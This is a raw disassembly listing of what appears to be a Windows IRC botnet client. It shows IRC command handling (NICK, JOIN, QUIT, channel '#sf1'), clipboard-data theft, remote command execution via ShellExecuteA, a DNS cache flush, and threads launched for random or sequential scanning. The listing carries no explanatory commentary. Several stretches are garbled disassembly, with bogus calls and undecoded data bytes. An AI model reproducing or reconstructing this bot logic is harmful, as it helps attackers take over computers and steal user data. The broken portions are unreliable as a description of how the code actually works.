; seg000:0040E8BBj
push edi
call near ptr 3D0000h
arpl [ebp+570874C0h], ax
push offset dword_434084
jmp short loc_411592
; ---------------------------------------------------------------------------
push offset dword_4347C4
call loc_409BEC
push eax
loc_411592: ; CODE XREF: seg000:00411585j
lea eax, [ebp-2C8h]
push 200h
push eax
call sub_415A4A
add esp, 10h
jmp loc_40EF6A
; ---------------------------------------------------------------------------
loc_4115AB: ; CODE XREF: seg000:0040E876j
; seg000:0040E88Dj
push edi
call sub_415A3F
push eax
call sub_414047
pop ecx
pop ecx
push 1
pop esi
cmp eax, esi
push edi
jnz short loc_4115C8
push offset dword_43404C
jmp short loc_4115CD
; ---------------------------------------------------------------------------
loc_4115C8: ; CODE XREF: seg000:004115BFj
push offset dword_434004
loc_4115CD: ; CODE XREF: seg000:004115C6j
lea eax, [ebp-2C8h]
push eax
call sub_4154CD
add esp, 0Ch
cmp [ebp-8], ebx
jnz loc_40EF8E
push ebx
lea eax, [ebp-2C8h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_412D32
add esp, 14h
jmp loc_40EF8E
; ---------------------------------------------------------------------------
loc_411606: ; CODE XREF: seg000:0040E848j
; seg000:0040E85Fj
push ebx
push ebx
push edi
push dword ptr [ebp-4]
push ebx
push dword ptr [ebp+0Ch]
call sub_413DB8
add esp, 18h
cmp eax, 1
push edi
jnz short loc_411628
push offset dword_433FCC
jmp loc_41284F
; ---------------------------------------------------------------------------
loc_411628: ; CODE XREF: seg000:0041161Cj
push offset dword_433F88
jmp loc_41284F
; ---------------------------------------------------------------------------
loc_411632: ; CODE XREF: seg000:0040E81Aj
; seg000:0040E831j
push edi
call ds:dword_43A3B8 ; inet_addr
cmp eax, 0FFFFFFFFh
mov [ebp+8], eax
jz short loc_41166F
push 2
lea eax, [ebp+8]
push 4
push eax
call ds:dword_43A330 ; gethostbyaddr
cmp eax, ebx
jz short loc_41168A
push dword ptr [eax]
loc_411655: ; CODE XREF: seg000:00411688j
push edi
lea eax, [ebp-2C8h]
push offset dword_433F58
push eax
call sub_4154CD
add esp, 10h
jmp loc_40F6F7
; ---------------------------------------------------------------------------
loc_41166F: ; CODE XREF: seg000:0041163Fj
push edi
call ds:dword_43A3FC ; gethostbyname
cmp eax, ebx
jz short loc_41168A
mov eax, [eax+0Ch]
mov eax, [eax]
push dword ptr [eax]
call ds:dword_43A404 ; inet_ntoa
push eax
jmp short loc_411655
; ---------------------------------------------------------------------------
loc_41168A: ; CODE XREF: seg000:00411651j
; seg000:00411678j
push offset dword_433F1C
jmp near ptr loc_410B24+1
; ---------------------------------------------------------------------------
loc_411694: ; CODE XREF: seg000:0040E7ECj
; seg000:0040E803j
push 7Fh
push edi
push dword ptr [ebp+1Ch]
call sub_416D20
push edi
lea eax, [ebp-2C8h]
push offset dword_433EE4
push eax
call sub_4154CD
add esp, 18h
jmp loc_40ECA7
; ---------------------------------------------------------------------------
loc_4116B9: ; CODE XREF: seg000:0040E7BEj
; seg000:0040E7D5j
push 5
push ebx
push ebx
push edi
push offset aOpen ; "open"
push ebx
call ds:dword_43A2EC ; ShellExecuteA
test eax, eax
push edi
jz short loc_4116D9
push offset unk_433EB4
jmp loc_41284F
; ---------------------------------------------------------------------------
loc_4116D9: ; CODE XREF: seg000:004116CDj
push offset unk_433E7C
jmp loc_41284F
; ---------------------------------------------------------------------------
loc_4116E3: ; CODE XREF: seg000:0040E790j
; seg000:0040E7A7j
mov al, [edi]
mov ds:byte_42C164, al
movsx eax, byte ptr [edi]
push eax
push offset dword_433E44
jmp loc_40EC98
; ---------------------------------------------------------------------------
loc_4116F8: ; CODE XREF: seg000:0040E762j
; seg000:0040E779j
push edi
call sub_415A3F
test eax, eax
pop ecx
jle loc_412974
push edi
call sub_415A3F
cmp eax, 12Ch
pop ecx
jge loc_412974
push ebx
push ebx
lea eax, [ebp-0A4h]
push 2
push eax
call sub_414419
push eax
lea eax, [ebp-2C8h]
push offset dword_434508
push eax
call sub_4154CD
add esp, 1Ch
jmp loc_410E59
; ---------------------------------------------------------------------------
loc_411743: ; CODE XREF: seg000:0040E734j
; seg000:0040E74Bj
push edi
call sub_415A3F
test eax, eax
pop ecx
jle loc_40D1FD
push edi
call sub_415A3F
cmp eax, 12Ch
pop ecx
jge loc_40D1FD
push offset aQuitLater ; "QUIT :later\r\n"
push edi
call sub_415A3F
imul eax, 234h
pop ecx
push ds:dword_43F514[eax]
call sub_412CEC
pop ecx
pop ecx
push 1F4h
call ds:dword_421060 ; Sleep
push edi
call sub_415A3F
imul eax, 234h
pop ecx
push ds:dword_43F514[eax]
call ds:dword_43A410 ; closesocket
push dword ptr [ebp-10h]
push edi
call sub_415A3F
imul eax, 234h
pop ecx
push ds:dword_43F51C[eax]
call near ptr 3D0000h
stc
push edi
call sub_415A3F
imul eax, 234h
push edi
mov ds:dword_43F51C[eax], ebx
call sub_415A3F
imul eax, 234h
pop ecx
pop ecx
mov byte ptr ds:dword_43F308[eax], bl
jmp loc_40D1FD
; ---------------------------------------------------------------------------
loc_4117EE: ; CODE XREF: seg000:0040E706j
; seg000:0040E71Dj
push edi
push offset aAll ; "all"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jnz short loc_41181D
call sub_415142
cmp eax, ebx
jle short loc_411813
push eax
push offset dword_433DF4
jmp loc_40F786
; ---------------------------------------------------------------------------
loc_411813: ; CODE XREF: seg000:00411806j
push offset dword_433DB8
jmp loc_412012
; ---------------------------------------------------------------------------
loc_41181D: ; CODE XREF: seg000:004117FDj
mov eax, [ebp-0ACh]
lea edi, [eax+1]
cmp edi, 20h
jnb loc_40D1FD
lea eax, [ebp+edi*4-94h]
mov [ebp+2Ch], eax
loc_411839: ; CODE XREF: seg000:004118AAj
mov eax, [ebp+2Ch]
mov esi, [eax]
cmp esi, ebx
jz loc_40D1FD
push esi
call sub_415A3F
push eax
call sub_4150B4
pop ecx
pop ecx
test eax, eax
push esi
jz short loc_411860
push offset dword_433D80
jmp short loc_411865
; ---------------------------------------------------------------------------
loc_411860: ; CODE XREF: seg000:00411857j
push offset dword_433D40
loc_411865: ; CODE XREF: seg000:0041185Ej
lea eax, [ebp-2C8h]
push eax
call sub_4154CD
add esp, 0Ch
cmp [ebp-8], ebx
jnz short loc_411895
push ebx
lea eax, [ebp-2C8h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_412D32
add esp, 14h
loc_411895: ; CODE XREF: seg000:00411877j
lea eax, [ebp-2C8h]
push eax
call sub_40B151
add dword ptr [ebp+2Ch], 4
inc edi
cmp edi, 20h
pop ecx
jb short loc_411839
jmp loc_40D1FD
; ---------------------------------------------------------------------------
loc_4118B1: ; CODE XREF: seg000:0040E6D8j
; seg000:0040E6EFj
cmp [ebp-0Ch], ebx
jz loc_412974
push edi
push dword ptr [ebp-0Ch]
call sub_415AA0
mov esi, eax
pop ecx
cmp esi, ebx
pop ecx
jz loc_412974
push esi
push offset dword_425050
push dword ptr [ebp+0Ch]
call sub_412CEC
push esi
push offset dword_433D14
jmp loc_41103B
; ---------------------------------------------------------------------------
loc_4118E8: ; CODE XREF: seg000:0040E6AAj
; seg000:0040E6C1j
push edi
push offset dword_434428
push dword ptr [ebp+0Ch]
call sub_412CEC
push edi
push offset dword_433CE0
jmp loc_41103B
; ---------------------------------------------------------------------------
loc_411901: ; CODE XREF: seg000:0040E67Cj
; seg000:0040E693j
push dword ptr [ebp+esi-8Ch]
push edi
push offset aJoinSS ; "JOIN %s %s\r\n"
push dword ptr [ebp+0Ch]
call sub_412CEC
push edi
push offset dword_433CAC
jmp loc_410F0F
; ---------------------------------------------------------------------------
loc_411921: ; CODE XREF: seg000:0040E64Ej
; seg000:0040E665j
push edi
push offset aNickS ; "NICK %s\r\n"
push dword ptr [ebp+0Ch]
call sub_412CEC
push edi
push offset dword_433C74
jmp loc_41103B
; ---------------------------------------------------------------------------
loc_41193A: ; CODE XREF: seg000:0040E613j
; seg000:0040E628j
mov al, ds:byte_42766A
mov [ebp+8], ebx
cmp al, bl
mov edx, offset byte_42766A
jz loc_40D1FD
mov ecx, edx
loc_411951: ; CODE XREF: seg000:00411959j
inc dword ptr [ebp+8]
add ecx, 0Bh
cmp [ecx], bl
jnz short loc_411951
cmp al, bl
jz loc_40D1FD
mov [ebp+20h], edx
loc_411966: ; CODE XREF: seg000:00411C24j
push 8
call sub_4151C1
pop ecx
mov ecx, eax
mov eax, 190h
cdq
idiv dword ptr [ebp+8]
add eax, ecx
cmp eax, 12Ch
jle short loc_4119B5
push ecx
lea eax, [ebp-2C8h]
push offset dword_434DC8
push eax
call sub_4154CD
push ebx
lea eax, [ebp-2C8h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_412D32
add esp, 20h
jmp loc_411C1B
; ---------------------------------------------------------------------------
loc_4119B5: ; CODE XREF: seg000:00411980j
or dword ptr [ebp-300h], 0FFFFFFFFh
cmp ds:dword_427300, ebx
mov dword ptr [ebp-304h], 64h
mov dword ptr [ebp-318h], 5
mov dword ptr [ebp-314h], 1F4h
mov [ebp+8], ebx
jz short loc_411A26
mov eax, [ebp+20h]
mov edi, offset dword_427300
lea esi, [eax-0Ah]
loc_4119F0: ; CODE XREF: seg000:00411A08j
lea eax, [edi-28h]
push esi
push eax
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz short loc_411A0C
inc dword ptr [ebp+8]
add edi, 3Ch
cmp [edi], ebx
jnz short loc_4119F0
jmp short loc_411A26
; ---------------------------------------------------------------------------
loc_411A0C: ; CODE XREF: seg000:004119FEj
mov eax, [ebp+8]
mov ecx, eax
mov [ebp-300h], eax
imul ecx, 3Ch
mov ecx, ds:dword_427300[ecx]
mov [ebp-31Ch], ecx
loc_411A26: ; CODE XREF: seg000:004119E3j
; seg000:00411A0Aj
cmp [ebp-31Ch], ebx
jz loc_411C2F
push 10h
lea eax, [ebp+18h]
pop esi
push eax
lea eax, [ebp-2D8h]
push eax
mov [ebp+18h], esi
push dword ptr [ebp+0Ch]
call ds:dword_43A31C ; getsockname
mov al, [ebp-9B3h]
push esi
neg al
sbb eax, eax
and ax, 100h
add eax, 0FFFFh
and [ebp-2D4h], eax
push dword ptr [ebp-2D4h]
call ds:dword_43A404 ; inet_ntoa
push eax
lea eax, [ebp-430h]
push eax
call sub_416D20
xor eax, eax
cmp [ebp-9B3h], bl
push 30h
setnz al
inc eax
inc eax
mov edi, eax
lea eax, [ebp-430h]
push eax
call sub_417020
add esp, 14h
cmp edi, ebx
mov [ebp+2Fh], bl
jle short loc_411AC8
loc_411AA6: ; CODE XREF: seg000:00411AC6j
cmp eax, ebx
jz short loc_411AC8
mov byte ptr [eax], 78h
lea eax, [ebp-430h]
push 30h
push eax
call sub_417020
inc byte ptr [ebp+2Fh]
pop ecx
pop ecx
movsx ecx, byte ptr [ebp+2Fh]
cmp ecx, edi
jl short loc_411AA6
loc_411AC8: ; CODE XREF: seg000:00411AA4j
; seg000:00411AA8j
mov eax, [ebp+0Ch]
push dword ptr [ebp-8Ch]
mov esi, [ebp-4]
mov [ebp-320h], eax
mov eax, [ebp-8]
mov edi, 80h
mov [ebp-2F4h], eax
lea eax, [ebp-420h]
push edi
push eax
mov dword ptr [ebp-2F0h], 1
mov [ebp-2F8h], esi
call sub_415A4A
push offset byte_438F9C
push offset aSf1 ; "#sf1"
call sub_4158F0
add esp, 14h
test eax, eax
jz short loc_411B32
push offset aSf1 ; "#sf1"
lea eax, [ebp-3A0h]
push edi
push eax
call sub_415A4A
add esp, 0Ch
jmp short loc_411B38
; ---------------------------------------------------------------------------
loc_411B32: ; CODE XREF: seg000:00411B19j
mov [ebp-3A0h], bl
loc_411B38: ; CODE XREF: seg000:00411B30j
cmp [ebp-2F0h], ebx
mov eax, offset aRandom_0 ; "Random"
jnz short loc_411B4A
mov eax, offset aSequential ; "Sequential"
loc_411B4A: ; CODE XREF: seg000:00411B43j
push dword ptr [ebp-304h]
lea ecx, [ebp-430h]
push dword ptr [ebp-314h]
push dword ptr [ebp-318h]
push dword ptr [ebp-31Ch]
push ecx
push eax
lea eax, [ebp-2C8h]
push offset dword_433BF8
push eax
call sub_4154CD
push ebx
lea eax, [ebp-2C8h]
push 8
push eax
call sub_414F79
add esp, 2Ch
mov [ebp-310h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-430h]
push ebx
push eax
push offset sub_407983
push ebx
push ebx
call ds:dword_42108C ; CreateThread
mov ecx, [ebp-310h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_43F51C[ecx], eax
jz short loc_411BD4
loc_411BC2: ; CODE XREF: seg000:00411BD2j
cmp [ebp-2ECh], ebx
jnz short loc_411BEF
push 32h
call ds:dword_421060 ; Sleep
jmp short loc_411BC2
; ---------------------------------------------------------------------------
loc_411BD4: ; CODE XREF: seg000:00411BC0j
call ds:dword_421088 ; RtlGetLastWin32Error
push eax
lea eax, [ebp-2C8h]
push offset dword_434CA4
push eax
call sub_4154CD
add esp, 0Ch
loc_411BEF: ; CODE XREF: seg000:00411BC8j
cmp [ebp-8], ebx
jnz short loc_411C0E
push ebx
lea eax, [ebp-2C8h]
push esi
push eax
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_412D32
add esp, 14h
loc_411C0E: ; CODE XREF: seg000:00411BF2j
lea eax, [ebp-2C8h]
push eax
call sub_40B151
pop ecx
loc_411C1B: ; CODE XREF: seg000:004119B0j
add dword ptr [ebp+20h], 0Bh
mov eax, [ebp+20h]
cmp [eax], bl
jnz loc_411966
jmp loc_40D1FD
; ---------------------------------------------------------------------------
loc_411C2F: ; CODE XREF: seg000:0040FE13j
; seg000:00411A2Cj
push offset dword_433BAC
jmp loc_412012
; ---------------------------------------------------------------------------
loc_411C39: ; CODE XREF: seg000:0040E5E9j
; seg000:0040E5FEj
push 4
call sub_4151C1
test eax, eax
pop ecx
jle short loc_411C4F
push offset unk_433B78
jmp loc_40EB8B
; ---------------------------------------------------------------------------
loc_411C4F: ; CODE XREF: seg000:00411C43j
mov eax, [ebp+esi-90h]
cmp eax, ebx
jz short loc_411C72
push eax
mov edi, 104h
lea eax, [ebp-804h]
push edi
push eax
call sub_415A4A
add esp, 0Ch
jmp short near ptr loc_411C85+1
; ---------------------------------------------------------------------------
loc_411C72: ; CODE XREF: seg000:00411C58j
mov edi, 104h
lea eax, [ebp-804h]
push edi
push eax
push ebx
call near ptr 3D0000h
loc_411C85: ; CODE XREF: seg000:00411C70j
fimul dword ptr [ebx-8BCA4Ch]
; ---------------------------------------------------------------------------
db 0FFh
dd 75F33BFFh, 0C1B8BE05h, 8D560042h, 0FFF90085h, 0E85057FFh
dd 3DA6h, 42C150A1h, 0FF7F6A00h, 0FFFF74B5h, 0C8589FFh
dd 8BFFFFFAh, 9D890C45h, 0FFFFFA08h, 0F7F88589h, 858DFFFFh
dd 0FFFFFA10h, 504EE850h, 458B0000h, 908589FCh, 8BFFFFFAh
dd 8589F845h, 0FFFFFA94h, 0F900858Dh, 8D50FFFFh, 0FFF7FC85h
dd 858D50FFh, 0FFFFFD38h, 0FA0CB5FFh, 0BC68FFFFh, 50004278h
dd 37C4E8h, 858D5300h, 0FFFFFD38h, 0E850046Ah, 3261h, 8938C483h
dd 0FFFA0485h, 0F0458DFFh, 0F8858D50h, 53FFFFF7h, 6C226850h
dd 53530040h, 108C15FFh, 8D8B0042h, 0FFFFFA04h, 234C969h
dd 0C33B0000h, 0F51C8189h, 16740043h, 0FA989D39h, 850FFFFFh
dd 0FFFFCF4Bh, 15FF326Ah, 421060h, 15FFEAEBh, 421088h
dd 3B2C6850h, 21E90043h
db 0CFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_411D77: ; CODE XREF: seg000:0040E5BFj
; seg000:0040E5D4j
mov edi, [ebp+esi-90h]
cmp edi, ebx
jz short loc_411D96
push edi
call sub_415A3F
test eax, eax
pop ecx
jz short loc_411D96
push edi
call sub_415A3F
pop ecx
jmp short loc_411D9B
; ---------------------------------------------------------------------------
loc_411D96: ; CODE XREF: seg000:00411D80j
; seg000:00411D8Bj
mov eax, ds:dword_42C154
loc_411D9B: ; CODE XREF: seg000:00411D94j
mov esi, [ebp+esi-8Ch]
mov [ebp-584h], eax
xor eax, eax
cmp [ebp-9B0h], bl
setz al
cmp esi, ebx
mov [ebp-570h], eax
jz short loc_411DCE
lea eax, [ebp-688h]
push esi
push eax
call sub_4154CD
pop ecx
pop ecx
jmp short loc_411DF9
; ---------------------------------------------------------------------------
loc_411DCE: ; CODE XREF: seg000:00411DBBj
lea eax, [ebp-3E8h]
push 104h
push eax
call near ptr 3D0000h
adc dword ptr [ebx+53h], 0FD2C858Dh
; ---------------------------------------------------------------------------
dw 0FFFFh
; ---------------------------------------------------------------------------
push ebx
push eax
lea eax, [ebp-3E8h]
push eax
call sub_417328
add esp, 14h
loc_411DF9: ; CODE XREF: seg000:00411DCCj
lea eax, [ebp-688h]
push eax
call sub_415CD0
cmp byte ptr [ebp+eax-689h], 5Ch
pop ecx
jnz short loc_411E24
lea eax, [ebp-688h]
push eax
call sub_415CD0
pop ecx
mov [ebp+eax-689h], bl
loc_411E24: ; CODE XREF: seg000:00411E0Ej
push dword ptr [ebp-8Ch]
mov esi, [ebp+0Ch]
lea eax, [ebp-910h]
mov [ebp-914h], esi
push 80h
push eax
call sub_415A4A
mov eax, [ebp-8]
mov edi, [ebp-4]
add esp, 0Ch
mov [ebp-574h], eax
lea eax, [ebp-688h]
mov [ebp-578h], edi
push eax
push dword ptr [ebp-584h]
push esi
call sub_40A155
pop ecx
push eax
lea eax, [ebp-2C8h]
push offset dword_42778C
push eax
call sub_4154CD
push ebx
lea eax, [ebp-2C8h]
push 3
push eax
call sub_414F79
add esp, 20h
mov [ebp-57Ch], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-914h]
push ebx
push eax
push offset sub_405B07
push ebx
push ebx
call ds:dword_42108C ; CreateThread
mov ecx, [ebp-57Ch]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_43F51C[ecx], eax
jz short loc_411ED8
loc_411EC6: ; CODE XREF: seg000:00411ED6j
cmp [ebp-568h], ebx
jnz short loc_411EF3
push 32h
call ds:dword_421060 ; Sleep
jmp short loc_411EC6
; ---------------------------------------------------------------------------
loc_411ED8: ; CODE XREF: seg000:00411EC4j
call ds:dword_421088 ; RtlGetLastWin32Error
push eax
push offset unk_433AE0
loc_411EE4: ; CODE XREF: seg000:0041032Dj
; seg000:00410427j
lea eax, [ebp-2C8h]
push eax
call sub_4154CD
add esp, 0Ch
loc_411EF3: ; CODE XREF: seg000:00410311j
; seg000:0041040Bj ...
cmp [ebp-8], ebx
jnz loc_412834
push ebx
push edi
loc_411EFE: ; CODE XREF: seg000:0040FBD9j
lea eax, [ebp-2C8h]
push eax
push dword ptr [ebp-8Ch]
push esi
jmp loc_40F7B2
; ---------------------------------------------------------------------------
loc_411F11: ; CODE XREF: seg000:0040E595j
; seg000:0040E5AAj
mov esi, [ebp+esi-90h]
cmp esi, ebx
jz short loc_411F24
push esi
call sub_415A3F
jmp short loc_411F2B
; ---------------------------------------------------------------------------
loc_411F24: ; CODE XREF: seg000:00411F1Aj
push 8
call sub_4151E0
loc_411F2B: ; CODE XREF: seg000:00411F22j
cmp eax, ebx
pop ecx
jz loc_412974
push eax
push dword ptr [ebp-4]
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_4071E3
loc_411F46: ; CODE XREF: seg000:004123D2j
add esp, 10h
jmp loc_412974
; ---------------------------------------------------------------------------
loc_411F4E: ; CODE XREF: seg000:0040E56Bj
; seg000:0040E580j
mov eax, ds:dword_43A2A0
cmp eax, ebx
jz short loc_411F6B
call eax ; DnsFlushResolverCache
test eax, eax
jz short loc_411F64
push offset unk_433AA8
jmp short loc_411F80
; ---------------------------------------------------------------------------
loc_411F64: ; CODE XREF: seg000:00411F5Bj
push offset unk_433A68
jmp short loc_411F80
; ---------------------------------------------------------------------------
loc_411F6B: ; CODE XREF: seg000:00411F55j
push offset unk_433A28
jmp short loc_411F80
; ---------------------------------------------------------------------------
loc_411F72: ; CODE XREF: seg000:0040E541j
; seg000:0040E556j
call sub_40A077
test eax, eax
jz short loc_411F96
push offset unk_4339F0
loc_411F80: ; CODE XREF: seg000:00411F62j
; seg000:00411F69j ...
lea eax, [ebp-2C8h]
push 200h
push eax
call sub_415A4A
jmp loc_41285B
; ---------------------------------------------------------------------------
loc_411F96: ; CODE XREF: seg000:00411F79j
push offset unk_4339B0
jmp short loc_411F80
; ---------------------------------------------------------------------------
loc_411F9D: ; CODE XREF: seg000:0040E517j
; seg000:0040E52Cj
cmp [ebp-8], ebx
jnz short loc_411FBC
push ebx
push dword ptr [ebp-4]
push offset aClipboardData ; "-[Clipboard Data]-"
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_412D32
add esp, 14h
loc_411FBC: ; CODE XREF: seg000:00411FA0j
push ebx
push dword ptr [ebp-4]
call sub_409C76
push eax
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_412D32
push offset dword_43396C
jmp loc_4122A4
; ---------------------------------------------------------------------------
loc_411FDE: ; CODE XREF: seg000:0040E437j
; seg000:0040E44Cj
push 7
call sub_4151C1
test eax, eax
pop ecx
jle short loc_411FF1
push offset dword_433930
jmp short loc_412012
; ---------------------------------------------------------------------------
loc_411FF1: ; CODE XREF: seg000:00411FE8j
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_40A7E1
pop ecx
cmp eax, 0FFFFFFFFh
pop ecx
jnz short loc_41200D
push offset dword_4338F4
jmp short loc_412012
; ---------------------------------------------------------------------------
loc_41200D: ; CODE XREF: seg000:00412004j
push offset dword_4338C0
loc_412012: ; CODE XREF: seg000:0040F976j
; seg000:0040FAA6j ...
lea eax, [ebp-2C8h]
push eax
call sub_4154CD
pop ecx
pop ecx
jmp loc_40F795
; ---------------------------------------------------------------------------
loc_412025: ; CODE XREF: seg000:0040E40Dj
; seg000:0040E422j
push dword ptr [ebp-8]
push dword ptr [ebp-4]
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_409663
jmp loc_40D1FA
; ---------------------------------------------------------------------------
loc_41203E: ; CODE XREF: seg000:0040E3E3j
; seg000:0040E3F8j
push dword ptr [ebp+esi-90h]
push dword ptr [ebp-4]
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_40C4F9
jmp loc_40D1FA
; ---------------------------------------------------------------------------
loc_41205B: ; CODE XREF: seg000:0040E3B9j
; seg000:0040E3CEj
or edi, 0FFFFFFFFh
call ds:dword_42104C ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
mov esi, [ebp+esi-90h]
cmp esi, ebx
mov [ebp+8], eax
jz short loc_412084
push esi
call sub_415A3F
pop ecx
mov edi, eax
loc_412084: ; CODE XREF: seg000:00412079j
mov eax, [ebp+8]
xor edx, edx
mov ecx, 15180h
div ecx
cmp eax, edi
jnb short loc_41209D
cmp edi, 0FFFFFFFFh
jnz loc_412974
loc_41209D: ; CODE XREF: seg000:00412092j
push ebx
call sub_40A996
push eax
lea eax, [ebp-2C8h]
push offset dword_433894
push eax
call sub_4154CD
push ebx
lea eax, [ebp-2C8h]
push dword ptr [ebp-4]
push eax
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_412D32
lea eax, [ebp-2C8h]
push eax
call sub_40B151
jmp loc_410162
; ---------------------------------------------------------------------------
loc_4120DF: ; CODE XREF: seg000:0040E38Fj
; seg000:0040E3A4j
push dword ptr [ebp-4]
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_4085B7
lea eax, [ebp-2C8h]
push offset unk_433860
push eax
call sub_4154CD
add esp, 14h
jmp loc_40ECA7
; ---------------------------------------------------------------------------
loc_412109: ; CODE XREF: seg000:0040E365j
; seg000:0040E37Aj
push 1Eh
call sub_4151C1
test eax, eax
pop ecx
jle short loc_412132
cmp [ebp-8], ebx
jnz loc_40D1FD
push ebx
push dword ptr [ebp-4]
push offset dword_43382C
push dword ptr [ebp-8Ch]
jmp loc_40D75B
; ---------------------------------------------------------------------------
loc_412132: ; CODE XREF: seg000:00412113j
push dword ptr [ebp-8Ch]
lea eax, [ebp-4DCh]
push 80h
push eax
call sub_415A4A
mov eax, [ebp+0Ch]
mov esi, [ebp+esi-90h]
mov [ebp-4E0h], eax
mov eax, [ebp-4]
mov [ebp-454h], eax
mov eax, [ebp-8]
add esp, 0Ch
cmp esi, ebx
mov [ebp-450h], eax
mov [ebp-458h], ebx
jz short loc_412193
push esi
push offset aFull ; "full"
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jnz short loc_412193
mov dword ptr [ebp-458h], 1
loc_412193: ; CODE XREF: seg000:00412176j
; seg000:00412187j
lea eax, [ebp-2C8h]
push offset dword_4337F0
push eax
call sub_4154CD
push ebx
lea eax, [ebp-2C8h]
push 1Eh
push eax
call sub_414F79
add esp, 14h
mov [ebp-45Ch], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-4E0h]
push ebx
push eax
push offset sub_413F69
push ebx
push ebx
call ds:dword_42108C ; CreateThread
mov ecx, [ebp-45Ch]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_43F51C[ecx], eax
jz short loc_412201
loc_4121EB: ; CODE XREF: seg000:004121FFj
cmp [ebp-44Ch], ebx
jnz loc_412834
push 32h
call ds:dword_421060 ; Sleep
jmp short loc_4121EB
; ---------------------------------------------------------------------------
loc_412201: ; CODE XREF: seg000:004121E9j
call ds:dword_421088 ; RtlGetLastWin32Error
push eax
push offset dword_4337A0
jmp loc_412825
; ---------------------------------------------------------------------------
loc_412212: ; CODE XREF: seg000:0040E33Bj
; seg000:0040E350j
cmp [ebp-8], ebx
jnz short loc_412231
push ebx
push dword ptr [ebp-4]
push offset dword_433774
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_412D32
add esp, 14h
loc_412231: ; CODE XREF: seg000:00412215j
push dword ptr [ebp+0Ch]
call ds:dword_43A410 ; closesocket
call ds:dword_43A2D8 ; WSACleanup
call sub_409DF9
push ebx
call ds:dword_421114 ; ExitProcess
loc_41224C: ; CODE XREF: seg000:0040E311j
; seg000:0040E326j
push ebx
lea eax, [ebp-2C8h]
push dword ptr [ebp-4]
push dword ptr [ebp+0Ch]
push eax
call sub_40AAB5
pop ecx
pop ecx
push eax
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_412D32
push offset dword_433748
jmp short loc_4122A4
; ---------------------------------------------------------------------------
loc_412277: ; CODE XREF: seg000:0040E2E7j
; seg000:0040E2FCj
push ebx
lea eax, [ebp-2C8h]
push dword ptr [ebp-4]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+24h]
push eax
call sub_40AD69
add esp, 0Ch
push eax
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_412D32
push offset dword_43371C
loc_4122A4: ; CODE XREF: seg000:00411FD9j
; seg000:00412275j
call sub_40B151
jmp loc_410F14
; ---------------------------------------------------------------------------
loc_4122AE: ; CODE XREF: seg000:0040E2BDj
; seg000:0040E2D2j
push dword ptr [ebp-8]
push dword ptr [ebp-4]
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_40B1F1
jmp loc_40D1FA
; ---------------------------------------------------------------------------
loc_4122C7: ; CODE XREF: seg000:0040E293j
; seg000:0040E2A8j
cmp [ebp-0Ch], ebx
mov [ebp-374h], bl
jz short loc_412306
mov esi, [ebp+esi-90h]
cmp esi, ebx
jz short loc_412306
push esi
push dword ptr [ebp-0Ch]
call sub_415AA0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_412306
push eax
push offset aS_1 ; "%s"
lea eax, [ebp-374h]
push 80h
push eax
call sub_415A4A
add esp, 10h
loc_412306: ; CODE XREF: seg000:004122D0j
; seg000:004122DBj ...
push dword ptr [ebp-8Ch]
lea eax, [ebp-3F4h]
push 80h
push eax
call sub_415A4A
mov eax, [ebp+0Ch]
push offset dword_4336F0
mov [ebp-3F8h], eax
mov eax, [ebp-4]
mov [ebp-2F0h], eax
mov eax, [ebp-8]
mov [ebp-2ECh], eax
lea eax, [ebp-2C8h]
push eax
call sub_4154CD
push ebx
lea eax, [ebp-2C8h]
push 1Ch
push eax
call sub_414F79
add esp, 20h
mov [ebp-2F4h], eax
lea eax, [ebp-10h]
push eax
lea eax, [ebp-3F8h]
push ebx
push eax
push offset sub_40B263
push ebx
push ebx
call ds:dword_42108C ; CreateThread
mov ecx, [ebp-2F4h]
imul ecx, 234h
cmp eax, ebx
mov ds:dword_43F51C[ecx], eax
jz short loc_4123A6
loc_412390: ; CODE XREF: seg000:004123A4j
cmp [ebp-2E8h], ebx
jnz loc_40D1FD
push 32h
call ds:dword_421060 ; Sleep
jmp short loc_412390
; ---------------------------------------------------------------------------
loc_4123A6: ; CODE XREF: seg000:0041238Ej
call ds:dword_421088 ; RtlGetLastWin32Error
push eax
push offset dword_4336A4
jmp loc_40D3E6
; ---------------------------------------------------------------------------
loc_4123B7: ; CODE XREF: seg000:0040E269j
; seg000:0040E27Ej
push dword ptr [ebp-4]
push dword ptr [ebp-8Ch]
push dword ptr [ebp+0Ch]
call sub_40B0D9
push offset dword_433678
call sub_40B151
jmp loc_411F46
; ---------------------------------------------------------------------------
loc_4123D7: ; CODE XREF: seg000:0040E23Fj
; seg000:0040E254j
push dword ptr [ebp-8Ch]
lea eax, [ebp-4DCh]
push 80h
push eax
call sub_415A4A
mov eax, [ebp+0Ch]
